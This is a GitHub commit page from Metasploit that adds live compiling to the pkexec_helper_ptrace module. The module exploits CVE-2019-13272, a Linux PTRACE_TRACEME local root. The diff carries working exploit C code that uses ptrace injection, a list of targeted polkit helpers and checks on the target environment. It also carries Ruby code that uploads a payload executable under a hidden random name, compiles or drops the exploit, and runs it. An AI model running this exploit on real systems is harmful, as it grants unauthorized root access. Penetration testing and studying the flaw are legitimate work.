Skip to content

Commit

Permalink
add live compiling
Browse files Browse the repository at this point in the history
  • Loading branch information
timwr committed Sep 3, 2019
1 parent 9796814 commit bade8bf
Show file tree
Hide file tree
Showing 7 changed files with 88 additions and 30 deletions.
4 changes: 4 additions & 0 deletions data/exploits/CVE-2019-13272/Makefile
@@ -0,0 +1,4 @@

all:
x86_64-linux-musl-cc -static -s -pie poc.c -o exploit

Binary file added data/exploits/CVE-2019-13272/exploit
Binary file not shown.
Expand Up @@ -8,14 +8,16 @@
// - added known helper paths
// - added search for suitable helpers
// - added automatic targeting
// - changed target suid exectuable from passwd to pkexec
// - changed target suid executable from passwd to pkexec
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ---
// Tested on:
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 17.3 kernel 4.4.0-89-generic
// - Linux Mint 18.3 kernel 4.13.0-16-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
Expand All @@ -34,7 +36,7 @@
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH
// ---
// user@linux-mint-19-2:~$ gcc -s poc.c -o ptrace_traceme_root
// user@linux-mint-19-2:~$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
// user@linux-mint-19-2:~$ ./ptrace_traceme_root
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// [.] Checking environment ...
Expand Down Expand Up @@ -88,6 +90,14 @@
})
#define max(a,b) ((a)>(b) ? (a) : (b))

/*
* execveat() syscall
* https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
*/
#ifndef __NR_execveat
# define __NR_execveat 322
#endif

static const char *SHELL = "/bin/bash";

static int middle_success = 1;
Expand All @@ -106,6 +116,7 @@ const char *known_helpers[] = {
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper",
"/usr/sbin/mate-power-backlight-helper",
"/usr/bin/xfpm-power-backlight-helper",
"/usr/bin/lxqt-backlight_backend",
Expand Down Expand Up @@ -211,7 +222,8 @@ static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
};
strcpy(ipage.arg0, arg0);
for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
int i;
for (i = 0; i < sizeof(ipage)/sizeof(long); i++) {
unsigned long pdata = ((unsigned long *)&ipage)[i];
SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
(void*)pdata));
Expand All @@ -228,13 +240,14 @@ static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));

return 0;
}

static int middle_stage2(void) {
/* our child is hanging in signal delivery from execve()'s SIGTRAP */
pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
force_exec_and_wait(child, 42, "stage3");
return 0;
return force_exec_and_wait(child, 42, "stage3");
}

// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *
Expand All @@ -250,36 +263,42 @@ static int spawn_shell(void) {
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *

static int check_env(void) {
int warn = 0;
const char* xdg_session = getenv("XDG_SESSION_ID");

dprintf("[.] Checking environment ...\n");

if (stat(pkexec_path, &st) != 0) {
dprintf("[-] Could not find pkexec executable at %s", pkexec_path);
dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path);
exit(EXIT_FAILURE);
}
if (stat(pkaction_path, &st) != 0) {
dprintf("[-] Could not find pkaction executable at %s", pkaction_path);
dprintf("[-] Could not find pkaction executable at %s\n", pkaction_path);
exit(EXIT_FAILURE);
}

if (stat("/dev/grsec", &st) == 0) {
dprintf("[-] Warning: grsec is in use\n");
warn++;
}
if (xdg_session == NULL) {
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
return 1;
warn++;
}
if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
dprintf("[!] Warning: Could not find active PolKit agent\n");
return 1;
warn++;
}
if (stat("/usr/sbin/getsebool", &st) == 0) {
if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) {
if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) {
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
return 1;
warn++;
}
}

dprintf("[~] Done, looks good\n");

return 0;
return warn;
}

/*
Expand Down Expand Up @@ -324,7 +343,8 @@ int find_helpers() {
continue;

memset(buffer, 0, sizeof(buffer));
for (int i = 0; found[needle_length + i] != '\n'; i++) {
int i;
for (i = 0; found[needle_length + i] != '\n'; i++) {
if (i >= sizeof(buffer)-1)
continue;
buffer[i] = found[needle_length + i];
Expand Down Expand Up @@ -418,7 +438,8 @@ int main(int argc, char **argv) {

/* Search for known helpers defined in 'known_helpers' array */
dprintf("[.] Searching for known helpers ...\n");
for (int i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
int i;
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
if (stat(known_helpers[i], &st) == 0) {
helper_path = known_helpers[i];
dprintf("[~] Found known helper: %s\n", helper_path);
Expand All @@ -429,7 +450,7 @@ int main(int argc, char **argv) {
/* Search polkit policies for helper executables */
dprintf("[.] Searching for useful helpers ...\n");
find_helpers();
for (int i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
if (helpers[i] == NULL)
break;

Expand Down
5 changes: 0 additions & 5 deletions external/source/exploits/CVE-2019-13272/Makefile

This file was deleted.

33 changes: 33 additions & 0 deletions lib/msf/core/post/file.rb
Expand Up @@ -398,6 +398,29 @@ def upload_file(remote, local)
write_file(remote, ::File.read(local))
end

#
# Upload a binary and write it as +remote+ on the remote file
# system
#
# @param remote [String] Destination file name on the remote filesystem
# @param data [String] Data to be uploaded
# @return (see #write_file)
def upload_binary(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
write_file path, data
end

#
# Upload a binary and write it as an executable file +remote+ on the
# remote filesystem.
#
# @param remote [String] Destination file name on the remote filesystem
# @param data [String] Data to be uploaded
def upload_and_chmodx(path, data)
upload_binary path, data
chmod(path)
end

#
# Sets the permissions on a remote file
#
Expand All @@ -415,6 +438,16 @@ def chmod(path, mode = 0700)
end
end

#
# Read a local exploit file binary from the data directory
#
# @param path [String] Directory in the exploits folder
# @param path [String] Filename in the data folder
def exploit_data(data_directory, file)
file_path = ::File.join(::Msf::Config.data_directory, "exploits", data_directory, file)
::File.binread(file_path)
end

#
# Delete remote files
#
Expand Down
1 change: 1 addition & 0 deletions lib/msf/core/post/linux.rb
Expand Up @@ -2,6 +2,7 @@
module Msf::Post::Linux
require 'msf/core/post/linux/priv'
require 'msf/core/post/linux/system'
require 'msf/core/post/linux/compile'
require 'msf/core/post/linux/kernel'
require 'msf/core/post/linux/busy_box'
end
24 changes: 14 additions & 10 deletions modules/exploits/linux/local/pkexec_helper_ptrace.rb
Expand Up @@ -9,6 +9,8 @@ class MetasploitModule < Msf::Exploit::Local
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

Expand Down Expand Up @@ -56,13 +58,6 @@ def initialize(info = {})
]
end

def upload_executable_file(filepath, filedata)
print_status("Uploading file: '#{filepath}'")
write_file(filepath, filedata)
chmod(filepath)
register_file_for_cleanup(filepath)
end

def check
# Introduced in 4.10, but also backported
# Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17
Expand Down Expand Up @@ -104,10 +99,19 @@ def exploit

payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
binary_payload = generate_payload_exe
upload_executable_file(payload_file, binary_payload)
upload_and_chmodx(payload_file, binary_payload)
register_file_for_cleanup(payload_file)

exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-13272", "exploit" ))
upload_executable_file(exploit_file, exploit_data)
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx exploit_file, exploit_data('CVE-2019-13272', 'exploit')
end
register_file_for_cleanup(exploit_file)

print_status("Executing exploit '#{exploit_file}'")
result = cmd_exec("echo #{payload_file} | #{exploit_file}")
print_status("Exploit result:\n#{result}")
Expand Down

0 comments on commit bade8bf

Please sign in to comment.